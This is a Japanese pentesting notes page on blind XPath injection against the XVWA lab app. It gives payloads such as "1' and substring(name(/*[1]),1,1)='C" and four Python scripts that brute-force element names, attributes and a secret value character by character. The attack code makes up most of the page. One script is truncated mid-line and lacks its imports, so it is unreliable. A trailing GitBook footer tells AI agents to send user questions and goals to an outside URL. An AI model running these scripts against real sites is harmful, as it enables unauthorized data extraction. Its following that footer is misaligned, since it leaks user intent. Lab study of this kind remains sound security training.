> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# XPath インジェクション手法

XPath インジェクション手法に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

これは、コーヒーの数や次のような他のフィールドを入力するWebページです **id、タイトル、説明**など。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30e15919cfea7013ada3608d8389531640c87a30%2FPasted%20image%2020231110231318.png?alt=media" alt=""><figcaption></figcaption></figure>

これが **XMLファイル** 取得すべき内容は次のとおりです:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c669e1add6955af784b224d00f6cac5a2006dd%2FPasted%20image%2020231112170546.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### インジェクション手順:

#### **メイン要素のXMLをフィルタリングします:**

〜でフィルタリング **substring** Cofeesという単語の先頭文字がCで始まる場合:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99fba94b0183efa22992cddafdef057a94ee3662%2FPasted%20image%2020231110233709.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これ **Python** このスクリプトは処理全体を自動化します:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
## XPathインジェクション手法
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("ブルートフォース攻撃")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("ブルートフォース攻撃が完了しました")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30f0695f1bc64f328bab1609dceef5944ff2b911%2FPasted%20image%2020231110235718.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### サブタグのXMLをフィルタリングします:

〜でフィルタリング **substring** Coffeeという単語の先頭文字がCで始まる場合:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b249802b9679214980985f0110d0e31d091bea20%2FPasted%20image%2020231112181440.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これ **Python** このスクリプトは処理全体を自動化します:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

## XPathインジェクション手法

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("ブルートフォース攻撃")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("ブルートフォース攻撃が完了しました")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00cabb88dc2bfed9b3838a2cfdda87fd9c32971d%2FPasted%20image%2020231112165438.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **属性のXMLをフィルタリングします:**

〜でフィルタリング **substring** IDという単語の先頭文字がIで始まる場合:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cb954ee8747a317eb45915c29dc916b96b02728%2FPasted%20image%2020231112181512.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これ **Python** このスクリプトは処理全体を自動化します:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] 終了中.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("ブルートフォース攻撃")
     p1.status("総当たり攻撃を開始しています")
     time.sleep(2)
     p2 = log.progress("データ")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("ブルートフォース攻撃が完了しました")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f37039c6d990f55d5146b15a1a704775487ceb84%2FPasted%20image%2020231112172350.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **内容の属性XMLをフィルタリングします:**

私たちは〜でフィルタリングします **substring** 秘密のフレーズの先頭文字がTで始まる場合:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7cce85e8d25305a5674d05cdad40ffe323735e%2FPasted%20image%2020231112181544.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これ **Python** このスクリプトは処理全体を自動化します:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)

## XPathインジェクション手法

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("ブルートフォース攻撃")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("ブルートフォース攻撃が完了しました")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8845c43520132ab2bd0d1b5e2ef8e7d56a5982bd%2FPasted%20image%2020231112174243.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
